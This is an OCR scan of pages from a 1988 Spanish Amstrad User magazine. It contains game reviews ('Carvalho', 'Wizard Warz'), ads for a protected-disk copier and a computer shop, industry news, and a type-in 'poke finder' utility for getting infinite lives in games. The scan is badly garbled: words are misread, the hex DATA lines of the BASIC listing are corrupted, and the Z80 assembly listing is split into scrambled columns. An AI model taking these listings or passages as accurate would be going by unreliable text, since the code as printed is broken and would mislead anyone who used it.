juego es algo especial, ya 
que se trata de una d el as 
pocas aventuras conver- 
sacionales que hay escri- 
tas en castellano. Es, en 
realidad, uno de los ori- 
meros frutos de la rama 
Aventuras Dinamic. Y tu, 
que en este caso te lla- 
maras Pepe Carvalho, 
eres el protagonista de 
esta novela computeriza- 
da. que empieza en el ae- 
ropuerto de Bangkok, 
donde deberas coger un 
autobus que te llevara a 
tu hotel —no desesperes 
si el trayecto te parece 
demasiado largo—. Una 
vez alii comienza la ma¬ 
yor de las aventuras. 
Para guiarte solo conta- 
ras con las pistas que el 
ordenador ira «dejando 
caer» de vez en cuando, 
y con unos amenos grafi- 
cos que apareceran en el 
centro de tu monitor 
—graficos que, aunque 
estan bien logrados, tam- 
poco son inmejorables, y 
que se repiten cada cier- 
to tiempo con ligeras mo- 
dificaciones, aunque esto 
parece ser una argucia 
del programador para re¬ 
solver la falta de memo- 
ria—. Con esto y, por su- 
puesto, armado hasta los 
dientes de imaginacidn, 
no habra quien te haga 
fracasar en la labor semi- 
policiaca que te espera. 
Sin embargo, tampoco 
estarla de mas que tuvie- 
ras un poco de paciencia 
durante la primera media 
hora, ya que, aunque los 



Sa.li.das: Nil 
>>>sal 
Estas en el 
concretanen 
113 . 


NZNGUNA 


►rimer pis© del hotel, 


frente 


habitacion 


idas: ABAJO 



alidass NORTE SUR ES P OKSTfc 
>>>n 

Te encuentras en el interior de la 
■tnha. Jada. Una rub la inpon^nte sp^ra 
a tenderte. 

Salidas: SUR 


I 

I 
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Carvalho esta cansado, su habitacion, la nJ, le espera. 


optimistas de Dinamic ci- 
fran este persodo de 
adaptation en un minuto, 
la realidad es que se tar¬ 
da un poco en «cogerle el 
gustillo». Pero merece la 
pena: luego no habra 
quien te separe del juego. 
Y, para los locos del or- 
denador que ya tengan 


experiencia en este tipo 
de programas, Dinamic 
na tenido el detalle de in- 
cluir dos versiones: una 
para principiantes y otra, 
mas dittcil, para aquellos 
que se atrevan a todo. 
Tambien se ha incluido la 
posibilidad de jugar con o 
sin graficos, as! como la 


de guardar una partida en 
un momento dado, para 
luego continuarla donde 
se dejo. Hay que desta- 
car, ademas. el extenso 
escenario por el que te 
puedes mover: despues 
de un rato de estar jugan- 
do ya habras pasado por 
la comisaria, la estacion 
de ferrocarril, la embaja- 
da, los muelles... Habras 
comprado opio y te ha- 
bran dejado colgado en 
un pozo, boca abajo, pen 
diendo de una fina cuer 
da... En fin es este un 
juego que acaba siendo 
muy emocionante y adic- 
tivo, en el que solo se 
echan de menos tres co- 
sas: sonido, puesto que 
no tiene; la posibilidad de 
ver todo el vocabulario 
que acepta, ya que sue- 
len surgir grandes proble- 
mas de entendirniento, y, 
por ultimo, algun movi- 
miento en la Dantalla. al 


estslo de los ultimos jue- 
gos conversacionales 
americanos. 

Santiago Madruga. 

LO MEJOR; La sensa¬ 
tion de ser, realmente, 
el protagonista. 

LO PEOR: Falta espec- 
tacularidad: sonido, 
graficos mejores, mo- 
vimierito. 




HERCULE II 

LA QESTIOM INTEGRAL.. 

©EL ©ISC© ILEXIBLE__ _ 

6 UTILIDADES: PRECIO: 6.700 PTAS. 

* C0PYL0CK VERSION 5.5: (Sin IVA) 


Duplicador fisico integral. 

Reproduce todo formate de diskette existente. 

* ULYSSE: 

Copiador fisico rapido para diskettes no protegidos. 

* PHOENIX: 

Formateador especial en 450 Kb (225 por cara) para 
diskettes 3". Integra el formateador. el copiador y la gestidn 
de la unidad lectora. Diskette 225K ejecutable con 
AMSDOS. 


* DISPLAY: 

Lector de pagina de presentacion de ficheros sobre discos 
protegidos o no. 

Gsstidn de bancos de memoria del 612.8 o todas otras 
ampliaciones de memoria (RAM). 

Manipulacion en la unidad lectora A o en la unidad lecto¬ 
ra B. 

Gestiona las unidades lectoras 3", 3“1/2, 5"1/4, 


* FLOPPY: 

Explorador universal de diskette: 

— Lector de identificadores. 

— Lectura/escritura de sectores. 

— Formateo parametrable. 

— Instruccion LEER PISTA (SINCRONIZACIQN, GAPS...) 

— Estructura del disco. 

* SECTOR: 

Analisis complete del disco por impresora. 


TENEMOS TAMBIEN 14 0TR0S SOFTWARES EN 
VERSION CASTELLANA. MATERIAL: CPC.PC.PCW. ^ 

BUSCAMOS DISTRIBUIDORES !! 

DIRIGIRSE: E.S.A.T. SOFTWARE 
55 57 RUE DU TONDU 

33 000 BORDEAUX (FRANCE) TEL.: (07) 33 56 96 35 23 
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D ESDE tiempos in- 
memoriales, los 
magos y hechice- 
ros han sido hombres te- 
midos por humanos y 
bestias, incluso hoy en 
dia, en plerio siglo XX. 
Sobre todo, permanecen 
aun en algunas tribus 
australianas y otras en 
estado primitive, en los 
que la magia negra es la 
culpable de muertes, en- 
fermedades y otras des- 
gracias. 

En este juego, tu maxi¬ 
ma aspiracion no es otra 
que la de seguir los pasos 
de tu maestro: Merlin, 
Para lo cual deberas aca- 
bar con los siete lores del 
Mai: Lord lobo, Lord oso. 
Lord diablo, Lord ogro 


Lord grifo, Lord de cristal 
y Lord dragon. 

Tu no eres mas que un 
simple aprendiz, mexper- 
to y con poco poder; en 
cambio, ellos son unos 
sueios y tramposos hechi 
ceros cuya unica y mas 
poderosa arma es la 
mentira y la magia negra. 
Por tanto, deber&s andar- 
te con sumo cuidado y 
cautela, 

Comenzaras como 
«Wizard Junior^, y si con- 
sigues eliminar a todos 
los lores (para lo cual de- 
ber&s atravesar tres nive- 
les), conseguiras el grado 
de «Jefe Wizard”. 

Tu mision en cada uno 
de los tres niveles sera: 


Nivel 1 

En este primer nivel de¬ 
beras buscar a seis 
monstruos y acabar con 
todos ellos. Cada vez que 
elimines a uno de ellos 
obtendras un tesoro; de- 
vuelvelo a su Ciudad 
correspondiente. Una vez 
devueltos todos los teso- 
ros, deberas encaminarte 
a la septima ciudad, alii 
pasaras al nivel 2. 

Nivel 2 

Te encuentras perdido 
y cansado; para colmo, 
treinta monstruos te ace- 
chan. Elige contra cuales 
vas a luchar; si vences 
obtendras hechizos. Tu 
mision sera conseguir 


tres objetos magicos; 
para ello, deberas elimi- 
bar a los tres monstruos 
que los tengan. 

Nivel 3 

La gran lucha te espe- 
ra, acaba con los guardia- 
nes de los magos y em- 
pezaras a luchar con los 
lores de uno en uno (cosa 
muy extraha entre villa- 
nos de este tipo). 

Wizard Warz es un jue¬ 
go con un tema apasio- 
nante y entretenido. pero 
tiene un gran defecto; los 
graficos son francamente 
malos, la musica o efec- 
tos sonoros inaudibles y 
no tiene el rninimo detalle 
que lo realce visualmen- 
te. Aunque tampoco de- 
bemos juzgarlo por su 
presencia; Wizard Warz 
es un juego interesante y 
adictivo. sobre todo si se 
llega a conocer el meca- 
nismo del juego 

Luis Jorge Garcia 

NOMBRE: wizard 
warz. 

CREADO POR: GO! 
DISTRIBUIDO POR: 

ERBE SOFTWARE 

LO MEJOR: La musica 

de la cara B. 

LO PEOR: Lo complicado 
que es. 

PRECIO: 875 ptas. 


ADICCION 
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INFORMATICA 


10 DISC. 3" MAXELL =4.200 
10 DISC. 5,25” DCDD =800 
JOYSTICK PCW =5.500 
CONECTOR 2 
JOYSTICK =1.500 


EL UNIVERS0 
DEL 

«S0FTWARE» 



DIRECCION 


Cl JUAN ALVAREZ MENDIZABAL, 54 
28008 MADRID 
TEL. (91) 248 54 81 
METRO: ARGUELLES O 
VENTURA RODRIGUEZ 

ABIERTO DE LUNES A SABADOS 
DE 10 A 2 Y DE 4.30 A 8.30 


jjVEN A VISITARNOS O ESCRIBENOS!! 


AMSTRAD 


MULTIFACE TWO . 16.500 

QISCOLOGY 3 . 8.000-0 

ADVANCED ART STUDIO ,.. 8.400-D 

S8TSTU0I0 ... 5.500-0 

a»0IA DEI CRIMEN. 875 

‘SADIA DEL CRIMEN. 2.250-0 

MKANOID 2. 875 

BTH0N0MIA. 2.950-0 

ASTRONOMIA. 1.800 

A.T.F ISIMULADOR DE 

i'UELOl ... 1.200 

MROG. 1 200 

MROG . 2.750-0 

SLACK BEARD/MAG MIX 

DANE.. 2.250*0 

BUCK BEARD. 875 

BUGGY 807 . . 875 

20GGY BOY . 2.250-D 

SILLY II . 995 

8UB8LE BOBBIE. 1.500 

eUBBlf BOBBLE . . 2.500 D 

BIONIC COMMANDO . 875 

CHAMPIONSHIP SPRINT... 830 

CHAMPIOMSHIP SPRINT... 2.200-0 

CARVALHO . 375 

CALIFORNIA GAMES . 875 

CAD 30 . 2.300 

CSO 30 . 5.50Q-D 

CHARLES CHAPLIN . 875 

CYRUS II CHESS. 1 900 

COLOSSUS CHESS 4 . 2.808-0 

COLOSSUS CHESS 4. 1.400 

5ES0LAT0R 875 

OESPERADO'SURVIVOR ... 2.250-D 

EXITOS UINAMIC. i 200 

EXITQS DINAMIC . 2.250-D 

EXITD PROEIN (4 JUEGOS) . 2 495 0 
EXITO PROEIN (4 JUEGDS). 1.450 
E. 6UTRAGUEN0 . 1.20u 

E. 8UTRAGIIEH0 . 2 250-D 

FURY. 875 

FREDDY HARDEST/PHANTIS 2.250-D 

FLYING SHARK . * 500 

FLYING SHARS. 2.500-0 

F MARTIN BASKET . "75 

F. MARTIN BASKET. 1.750-D 


GARFIELD . 875 

GOTHIK . 875 

GUERRA DE LAS VAJILLAS. 875 

GUERRA OE US VAJILLAS. 1750-0 

GODDY/LAS MISSION. 2 250 0 

GOODY. 275 

GUADALCANAL. 2.200-D 

GUAUALCANAL. 880 

GAUNTLET 11/720 . 2.250-D 

GAUNTLET II. 875 

GEE BEE AIR RALLY . BSO 

GEE BEE AIR RALLY.2 200 D 

HUMPHREY. 875 

HOPPING MAD. 875 

HERCULES. 875 

HMS COBRA (WAR GAME) . 2.000 
HMS COBRA (WAR GAME). 3.500-D 
INDIANA JONESIRYGAR ... 2.250-D 

INSIDE OUTING. 375 

IMPOSSIBLE MISSION. 875 

JACKAL . 875 

JACKAL . 2.200-D 

KA.RNOV . 880 

KARNOV . 2.200-11 

LHERTAG/CH. CHAPLIN.. 2.250-D 

MARAUOER. 875 

MICKEY MOUSE. 875-0 

MORTADELOY FILEMON .. 1.750-0 
MORTAOELQ Y FILEMON 875 

MATCH DAY 2/PHANTOM 

CLUB . 2.250-D 

MATCH DAY 2. 875 

MAD MIK GAME . 875 

NEMESIS/JAIL BREACK .... 2.200-D 
NIGEL MANSELL G PRIX. 375 

OUT RUN. 1 200 

OUT RUN . 2 250 0 

PINK PANTHER . 875 

PINK PANTHER. 1.750-D 

PREDATOR.2 200-D 

PREDATOR . 880 

PUTOON/ARKANOID II— 2.250-D 

PL'.TOON. 875 

PROHIBITION .. 2.750-D 

PROHIBITION . 1200 

RENAUO . 1.200 


RENAUO . 1.200-0 

RENEGADE/WIZBAU. 2.250-D 

SKATE CRAZY. 875 

SIDE ARMS. 875 

SILENT SHADOW.. 875 

TERRAS/IEX . 876 

TURBO GIRL. 875 

TURBD GIRL. 1.750-D 

TRIVIAL PURSUIT. 4.300-0 

TRIVIAL PURSUIT. 3.400 

THE HUNT FOR RED 

OCTOBER..1 200 

THE HUNT FOR RED 

OCTOBER . 1.750-D 

VINDICATOR. 875 

6PAKV0L3. 1.200 

6 PAK VOL 3 . 2.950-D 


PCW 8258-8512 


ARMAGEDONMAN. 3.500 

BATMAN . 3.000 

BRUNO BOXING. 3 90!) 

BOB WINNER . 2,500 

CATCH 23 . 3 500 

CLASSIC COLLECTION 

VOL. 2. 3.800 

CLASSIC COLLECTION 

VOL. 1. 3.800 

CLOCK CHESS 88 . 3.800 

COLOSSUS CHESS 4. 3 800 

HEAD OVER HEELS . 3.200 

JEWEB 0 FOARKNESS . 5 200 

JAMES BOND 007 . 3.500 

MATCH DAY 2 . 3.500 

STRIKE FORCE HARRIER ... 4 200 

STAR GLIDER . .. 3.900 

S POO KB BILLAR . ‘ 200 

TETRIS. 3.900 

TOMAHAWK . 4.200 

JOYSTICK INTERFACE ... 5 500 
RATON KEMSTON . 16.500 


PC 1512-1640 Y COMPATIBLES 


AJEDREZ. 3 900 

7 3AOIA DEL CRIMEN. 3 900 

ASTRONOMIA. 2.475 

BEDLAM. 3 900 

CHARLES CHAPLIN. 3 901) 

CALIFORNIA GAMES . 3 900 

CHUCK YEAGER SIMULATION 4.700 

CHESSMASTER 2000 . 4 700 

CONFLICT IN VIETNAM .... 5.200 

CRUSADE IN EUROPE. 5 200 

DECISION IN DESERT . 5.200 

DEFENDER OF THE CROWN 2.850 

DARK CASTLE .. 2.85(1 

DESTROYER . 5.000 

SNFORCERER . 2 850 

F I 5 STRIKE EAGLE. 4.500 

FLIGHT SIMULATOR . 14.000 

GATO . 3 200 

GRYZOR . 3.901) 

GUNSHIP. 7.409 

GOODY.. . 3.900 

IKARI WARRIORS... . 3.900 

LIVINGSTONE SUPONGO ... 3 900 

MACADAM BUMPER . 3.900 

MARBLE MADNESS. 4 700 

METROPOLIS . 4.700 

PLATOON. 3.900 

PROHIBITION. 3 900 

PUT HOUSE SRIPOKER... 2.850 

SDI. 2.850 

STREET BASKETBALL .... 3 900 

SQUASH . 2.308 

STARGLIDER . 3 300 

SOLO FIIGHT. 4 400 

T ETRIS. 2.200 

THE HUNT FOR RED 

OCTOBER. 4.000 

TRANTQR . 3. 900 

TEST DRIVE . 4 700 

WORLD CLASS LEADER 

BOARD . 3 909 

WORLD TOUR GOLF. 4.700 


MATERIAL OFERTAS 

DISCOS 3" MAXELL 10 U.. 4 200 

DISCOS 3" MAXELL EN 

CAJA . 4.500 

DISCOS 5 25.UC 00.10 U 808 
IRCHIVAOOR 5.25 80 U ... 3,800 


JOYSTICK + TARJETA PC A 800. 

ALMOHAOILLA HATCH . .. I .SUO 

TAPS TECLAOO 6128 . 2 500 

TAPA TECLABO ,512-1640 . 2.500 
M0DULAO OR OE TV M»1 10 500 

ARCHIVADQR 3“ 50 J ....3 400 
CINTA IMPRESORA PCW... 950 

CINTA IMPRESORA 

1512-1640 . 1.200 

CABLE CASETE 6128 . 1 200 

C0NVERTI008 MONITOR 

EN TV MPT. 21.9 00 


JOYSTICKS 


CHEETAH 125+ . 1 800 

CHEETAH MACH 1 ... . 3.400 

XONIX . 2.800 

KONIK AUTO FIRE . 3.400 

QUICK SHOT 1 . 1.100 

QUICK SHOT 2 . 1.500 

QUICK SHOT 2 TURBO 2.80!) 

PRO 9000 . 3.400 

PHASOR ONE. 3 200 

SWITCH JOY.,.. . 3.2C3 

ZERO ZERO CPC. 1.800 

ZERO ZERO MICROSUITCH 2 ’00 
JOYSTICK PRO TELEMACH . 7.600 

JOYSTICK PRO COBLE .12 500 

TELEMACH (MESA OE 
OROENAOOR + MONITOR 
COLOR + JOYSTICK 
PRO 2 JUGADORES . 105.000 


• IVA INCLUIOO 

* TDMAMOS TUS PEOIOOS POR 
TELEFONO (911 248 54 81. 




PON DE PEDIDO POR CORREO A ENVIAR a: COCONUT INFORMATICA. JUAN ALVAREZ MENDIZABAL, 54. 28008-MADRID 


NOMBRE/APELLIDQS _ 
UIRFCCION COMPLETA: 



C. P. 

TEL .. .... 



TITULOS 




PRECIO 





GASTOS DE ENVIO 

200 


TOTAL 


FORMA OE PAGO 

□ POR CHEQUE (A NOMBRE DE COCONUT INFORMA’ICA) □ CONTRA REEMBOl SO 
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«Desde hace algun tiempo se ha decla- 
rado una nueva fiebre que afecta a los 
usuarios de ordenadores personales. 
Esta grave enfermedad no es otra que 
la Fiebre del Poke; nos desquicia, nos 
maravilla, es la nueva piedra filosofal 
del alquimista de los arcades, de los 
juegos diflciles.» 


-L 


P ARA rnuchas personas decir 
POKE es eomo decir "ABRA 
CADABRA”, es algo miste- 
rioso, magico. Y logicamente, si lo 
que queremos es aprender a sacar 
Pokes, no hay nada mejor que 
abandonar estas ideas, quiza algo 
desfasadas. 

La instruccidn Poke del basic tie- 
ne como funcidn: introducir un va¬ 
lor en una direccidn de memoria; 
esta direccion, por tratarse del mi- 
croprocesador 2-80 puede encon- 
trarse entre 0 y 65535. 

En los programas de juegos. las 
vidas se almacenan en una direc¬ 
cion de memoria. Esta direccion es 
DECrementada desde alguna otra 
parte del listado (o sea, se resta el 
valor 1 a las vidas que poseemos). 
y esta es la mision de nuestro BUS¬ 
CADOR; decirnos cual es esa di- 


reccidn, para anularla con un 0. De 
esta forma las vidas (o el tipo de 
poke de que se trate), no volveran 
a decrementarse, obteniendo asi vi 
das infmitas. 

Funcionamiento del 
buscador 

El Buscador de Pokes basa su 
funcionamiento en la busqueda de 
un decrementador; una.vez lo ha 
encontrado, nos imprime (en hexa¬ 
decimal) cual es la direccion que 
debemos poner a 0, obteniendo asi 
el Poke de vidas infinitas. 

La Dusqueda dei decrementador 
que comentabamos anteriormente 
puede realizarse mediante dos sis- 
iemas similares. que acontinuacion 
explicamos: 
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10 b$="t>Uscador. bin" :OPENOUT b$ : MEMORY 1 
499:LOAD b$, 1500:CALL 1500 


o 

Q 

2 


10 DATA CDFFBB21030CCD75BB2 1330SCD2A062 1 
080DCD75BB214706CD2A06210B0DCD75 
20 DATA BB215906CD2A06211504CD75BB2 16B06 
C.D2A062 1 170FCD75BB2 18E06CD2A062 1 
30 DATA 0E0ECD75BB219C06CD2A06C3AC067EB7 
C8CD5ABB2318F74255534341444F5220 
40 DATA 2044452020504F4B455300312E4D4554 
4F444F20205052494D45524F00322E4D 
50 DATA 45544F444F2020534547554E444F0050 
4F5220204C554953204A4F5247452047 
60 DATA 4152434941202E313938382E20583 12E 
3000414D535452414420205553455200 
70 DATA 504F5349424C45532020504F4B455300 
3E40C D1EBB20593E41CD1EBB705E18F@ 

80 DATA 210100E5211114CD7SBBE17CFEFFCA09 
077EF E3A28032318EA2323237EFE3D20 
90 DATA 0ECDEF06E5CB03BBF. 1CD 18BB23 18D42B 
2B18D07CCDF40R7DF50F0F0F0FCDFD06 
100 DATA F1E60FC69027CE4027C35ABBC9C97D7 
E3E2132CF063E3532DA0618A43E3A32CF 
110 DATA 063E3D32DA061898000000000000000 
000000000000000000000000000000000 
120 MEMORY 9999:CHECK-0:FOR N= 10000 TO 1 
0351 STEF 32 

130 READ AS;:FOR 1=0 TO 31 

140 A=VAL("&"+MID$(A$,(1*21+1,2)):POKE N 

+1,A:CHECK=CHECK+A 

150 NEXT:NEXT:IF CHECKO 28554 THEN PRIN 
T 'ERROR EN DATAS" 

155 END 

160 SAVE"buscador.bin",b, 10000,352 


CM 


O 

Q 

2 

CO 


LINEA 60 —-» 

LINEA 70 -» 

LINEA 80 a 3 10 '-"'* 
LINEA 510 a 570 

LINEA 580 -» 

LINEA 590 a 620 
LINEA 630 a 770 -^ 
LINEA 780 a 860 —»■ 


LINEA 870 a 1030 -* 
LINEA 1050 a 1 160 —> 


Direccion de ensamblado. 
Iniciacibn de pantalla. 
Impresibn de mensajes en 
pantalla. 

Seleccion de MODG de BUS- 
QUEDA {1 6 2). 

Direccion inicial a examinar. 
Pcsicibn del cursor. 

Chequea la memoria buscan- 
do los valores indicados. 
Limpia el Buffer de teclado, 
espera a que se pulse una te- 
cla y vuelve a la rutina prin¬ 
cipal 

Imprime la direccion que bus- 
camos. (Si la hay.) 

Almacena los dos diferentes 
metodos de busqueda. 


O 

o 

2 

CO 

£ 

O 

o 

s 

I 
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1. Sistema primero 

Este primer sistema es el mas 
exacto de los dos, y su funciona- 
miento esta basado en el decre- 
mento del reglstro-doble HL. 

LD HL.nn 
DEC (HL) 

Como Ibamos diciendo, la rutina 
busca el anteriormente citado regis- 
tro HL (codigo 33); al encontrarlo, 
mira si a eontinuacion exists un DE- 
Crementador del vaior de HL (codi¬ 
go 53). Si es asl: imprime la direc¬ 
cion del mencionado decrementa- 
dor y continua buscando hasta re- 
visar toda la memoria. 

2. Sistema segundo 

Su concepcion es practicamente 
igual a la del sistema 1, pero los re- 
gistros usados son diferentes: 

LD A, (nn) 

DEC A 
LD (nn),A 

La busqueda es igual que en el 
caso anterior. 

Se ha suprimido la instruccion 
LD (nn),A para obtener un mayor 
porcentaje de acierto. 

Como teclear los 
listados 

Primero deberas teclear el LIS- 
TADO 1 y almacenarlo en cinta o 
disco mediante la orden SA 
VE"BUSCADOR.BAS 

Seguidamente resetea el ordena- 
dor, teclea el LISTADO 2 v ejecuta 
el programa con RUN [ENTER], Si 
no te da el mensaje ERROR EN 
DATAS. quiere decir que el progra¬ 
ma ha sido tecleado correctamente 
y puede ser grabado en cinta a con- 
tinuacion del LISTADO 1 mediante 
un GOTO 160. 

Ahora cada vez que quieras utili- 
zar el programa no tendras mas 
que poner la cinta donde has gra¬ 
bado el programa y hacer 
RUN“BUSCADOR 

Modo de empleo 

Carga el bloque de Codigo Ma- 
quina (ficnero BIN), al que quieres 
buscar los pokes, despues carga el 
BUSCADOR con RUN BUSCA- 
DOR. Elige que metodo de busque¬ 
da es el que prefieres. (Logicamen- 
te, si con uno de ios sistemas no lo- 
gras encontrar el poke; deberas 
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probar con el otro sistema; a lo me- 
jor tienes mas suerte). 

Una vez seleccionado el sistema 
de busqueda, deberas ir apuntando 
las direcciones que aparezcan (el 
ordenador despues de imprimir en 
pantalla cada una de las direccio¬ 
nes, esperara a que pulses una te- 


cla), cuando hayas apuntado todas, 
deberas probar una a una de la si- 
guiente forma: 

POKE direccion.O 
POKE direccion-1,0 

Seguidamente, para probar los 
pokes, necesitaras hacer un carga- 


dor para el juego. o bien introducir- 
los con un transtape o multiface two. 

En caso de que el juego este 
desprotegido, introduce el poke de- 
lante del ultimo CALL del primer lis- 
tado BASIC. 

Luis Jorge Garcia 



LiSTADO 3 














590 

no : 

push 

h 1 


10 

Fv!30 A DOR DE POKES 



600 


Id 

hi,# 14 1 1 


20 


FOR 



610 


call 

ttbb75 


60 

1.1113 30KGE GARCIA 



62® 


pop 

h 1 


40 

AMSTRAD USER 



63® 


Id 

*,11 


50 





640 


l ’P 

255 


60 

or £ 

1500 



650 


J P 

2,161 


70 

call 

It bb f f 



660 


Id 

a , ( h 1 ) 


60 

Id 

h 1 . II 0c 03 



670 

d i r + 1 ■ 

cp 

58 


30 

cal 1 

It bb75 



680 


J I 

Z , S i 


100 

Id 

h 1 , text.0 



690 


i nc 

hi 


1 10 

cal 1 

pi i n t 



700 


j i 

no 


120 

Id 

h 1 ,40d08 



7 10 

C l : 

i nc 

h 1 


130 

call 

Ilbb75 



720 


i nc 

h 1 


140 

Id 

hi,text 1 



730 


i nc 

h 1 


150 

call 

p 11 n t 



740 


Id 

a, ! h 1 1 


160 

Id 

h 1 ,H0d0b 



750 

d i r r + 1 : 

C P 

61 


170 

Call 

Hbb75 



760 


j r 

n z, n o 1 


160 

Id 

hi , tex12 



770 


ca 1 1 

p 'i n 


130 

ca 1 1 

pr nit 



780 


push 

h 1 


200 

id 

h1 ,«04 15 



790 


ca 1 1 

tt bb03 


2 10 

ca 1 1 

#bb75 



800 


pop 

hi 


220 

Id 

hi , tt t e X 13 



8 10 


cal 1 

ttbb 13 


230 

ca 1 1 

pr i n t 



820 


i nc 

h 1 


240 

Id 

h1,40 f 17 



330 


j r 

no 


250 

call 

Sbb75 



840 

no 1 : 

dec 

h 1 1 


260 

Id 

hi,t e x 1 4 



850 


dfc 

h 1 


270 

cal 1 

p r i n t 



860 


j r 

no 


280 

Id 

h 1 ,40e0e 



870 

pin: 

Id 

a, h 


290 

cal l 

ttbb75 



830 

cal 1 

1 bees 


300 

id 

h1,text5 



890 


Id 

a, 1 


310 

ca 1 1 

pi int 



900 

1 bees: 

push 

af 


320 

JP 

tec 1 a 



910 


rrcd 



330 

print: Id 

a, ihl! 



920 


r rca 



340 

or 

a 



930 


r rca 



350 

ret 

z 



940 


r rca 



300 

call 

B bb5a 



950 


call 

lbird 


370 

i nc 

h 1 



960 


pop 

af 


380 

j r 

print 



970 

1 b i I d : 

and 

40 f 


330 

text®: defrn 

"BU3CAD0R 

DE POKES" 


980 


add 

a, 490 


400 

de f b 

0 



990 


daa 



4 10 

text 1: d e f in 

"1.MET0D0 

PR I HERO" 


1000 


adc 

a. 440 


420 

de I'b 

0 



10 10 


daa 



4 30 

t e -x 1 2: defrn 

"2.METODO 

SEGUNDO" 


1020 


j P 

ttbb5a 


440 

defb 

0 



1030 


ret 



450 

text3: delm 

"POR LUIS 

JORGE GARCIA 

. 1988. U1.0" 

1040 

ret : 

ret 



460 

de f b 

0 



1050 


Id 

a, 1 


470 

tex 1 4: defrn 

"AMSTRAD 

USER’ 1 


1060 


Id 

a, (hi) 


480 

defb 

0 



1070 

rut 1 : 

Id 

a, 33 


490 

t e x 15 : defrn 

"POSIBLES 

POKES" 


1080 


Id 

( d i r + 1) , a 


500 

defb 

0 



1090 


Id 

a, 53 


510 

tec U: Id 

a, 64 



1 100 


Id 

1 d 1 rr+1),a 


520 

cal 1 

ttbb le 



1 1 10 


J r 

rut 


530 

or 

nz,rut1 



1 120 

r u 12 : 

Id 

a, 58 


540 

Id 

a, 65 



1 130 


Id 

( d i r + 1 ) , a 


550 

cal 1 

4bb le 



1 140 


Id 

a, 61 


560 

Ji 

ri 2 , t u 1 2 



1 150 


Id 

(cl i t r + 1 ) , a 


570 

jr 

tec 1 a 



1 160 


j I' 

rut 


680 

rut: Id 

h 1 , 1 
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Con tus conocimientos 
sera operative) 


1 Posecr un microordenador es una 
cosa, pero saber manejarlo y 
tiabajar con cl correciamente, es 
«tra muv distinra El ordenador no 
es operativo por sf mismo, porque 
susupucsla «intdigcneia» no es mas 
que la intdigencia de quien 
lo utiliza, 

El verdadero protagonista 
es su usuario 

Por dlo en CEAC hemos 
desarrollado tres Cursos que cubren 
perfcctamcntc diferenles 
neccsidades inl'ormaticas. 
Informate ahora, es gratis. Elige el 
Curso que mas te interese y te 
ffiplicaremos con todo detalle como 
funciona y cuanto vale. 
iQue pierdcs con saberlo? 



Curso Cl'AC 

de Introduccidn a la informatics 

Ideal para todas aqucllas personas que. sin efectuar 
un rrahajo espceilkamcntc tcenicocn inlormanca, 
lienen ncccsidad de crmmvr a rondo cl 
trjtamienio juiomali/ado de la information 

Curso CEAC 

de Basic+Microordenadores 

introduce paso a paso, con un cuidado mCtodn, en 
la programadon de ordenadoro Adaptado a 
mieroordenadores 7.X SPECTRUil, COMMODORE, 
ilflt AJI5TSAQ HIM PC, y compatibles 

Curso CEAC 

de Analista Programador 

Si el programador es quien cjnblcct la aplicaeidn 
del ordenador, cl analisis de los pmhlcmjs para la 
posrerfor realixadon de un programs corresponde 
al analisra. El Curso CEAC de Analista Programador 
vincula anrbas acnvidades: .nilrsis y_ 

programaeron nue ye 



OTROS CURSOS CEAC 


Electrdnica 
y Microelectronics 
Contabilidad 
Graduado Escolar 
Ingles 

Oposiciones 
a Auxiiiares de 
la Administracion 
del Estado y de la 
Scguridad Social 
Corte y Confection 


Esteticista 
Decoracion 
Marketing 
Fotografia 
Mecanico de Motos 
Mecanico de 
Automoviles 
Dibujo Artfstico 
Jardinerta 
Puerlcultura y 
Educacion Preescolar 



asamini um amwaHuram 

AUTORIZADO POR EL MINISTERIO DF 
EDLICACION Y CIENCIA N.‘ 803918S 
raoifTiN orrciAL on isiado j-»aa 

ARaCON, 472 . 08013 BARCELONA 
TEL. (93) 24S 33 06 

• CEAC colabora con el 1NEM en la formac <6n y reciclaje de trabaja- 
dores • Miembrode la Asociaodn Europea de Cenfrosde Enseflartza 
a Distancia (AECS) • Miembro de la Asoaacidn Nacronal de Ceniros 
de Enaeflarua a disiancia (ANCEO) • Las enseflanzas que tmpane 
CEAC se siusian al Art 35 del Real Oecreto 707/1976 y a la Orden 
Ministerial del 5/2/1979 


□ Si, deseo informacion 
gratuka del Curso . 
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• Ademas de este juego, Gremlin Graphics ha 
anunciado tambien el lanzamiento de «Mickey Mouse», 
«T-Wrecks» y «Gary Lineker’s Superskil!s». El primero 
es una aventura realizada bajo la licencia de los 
creadores del famoso personaje. «T-Wrecks» es un 
arcade que sigue la estela dejada por la maquina 
recreativa «Rampage» y «Gary Lineker’s Superskills» 
es un simulador deportivo en el que tendremos que 
emular al jugador del Barcelona. 


• Psygnosis, una casa de software que produjo desde 
sus comienzos juegos de gran calidad para los 
ordenadores Atari St y Amiga, ha decidido convertir 
algunos de los titulos mas representatives de su 
catalogs para las maquinas de 8 bits. 

«Terrorpods», «Obliterator» y el conocidisimo 
«Barbarian» seran los primeros en ser convertidos. 
Este ultimo, a pesar de tener el mismo nombre que un 
programs de Palace Soft, tiene unas caracteristicas 
totalmente distintas. Mientras que el primero era 
unicamente un juego de lucha, Barbarian de Psygnosis 
es un programs que une el com bate a la aventura y se 
maneja por un sencillo sistema de iconos. 


• Los censores ingleses, 
aletargados tod avia por el 
efecto de las vacaciones, 
han hecho la vista gorda 
ante la publicidad de 
«Psycho Pigs UXB». 
Bromas aparte, parece ser 
que la moda de las 
caratulas explosivas ha 
llegado hasta el Reino 
Unido, donde U. S. Gold la 
utiliza para llamar la 
atencion sobre su nuevo 
juego del que, por el 
momento, sdlo se conoce 
el nombre. 


96 / Amstrad User 









































User/97 


• Parece ser que 
por fin vamos a 
poder disfrutar de 
los programas 
«The last ninja» y 
«The last ninja 2». 
System 3, la firma 
productora de 
am bos, llevaba 
anunciando el 
inmediato lanzamiento del primero 
desde hace mas de un ano. 

Ahora se ha decidido a sacar ambos 
programas conjuntamente y si no se 
produce otro contratiempo, todo hace 
prever que apareceran a finales del 
otoho. 


• De la mano de Gremlin Graphics llega «Night 
Raider», un complejo programs de simulacidn de 
aspecto prometedor. El juego esta ambientado en la 
Segunda Guerra Mundial, donde deberemos pilotar 
un bombardero inglds para dar caza al Bismark, un 
acorazado de bolsillo aleman. 

El desarrollo del programa recuerda al ya mitico 
«Dam Busters» de U.S. Gold, con fases de 
simulacidn, estrategia y accion. 




























Problemas con el ordenador? 
jQuiere saber cdmo sacarle 
was partido? iComo manejar 
un programa determinado? 
iComo desarrollar sus propios 
programas? 

No lo dude: 
consulte a un experto 



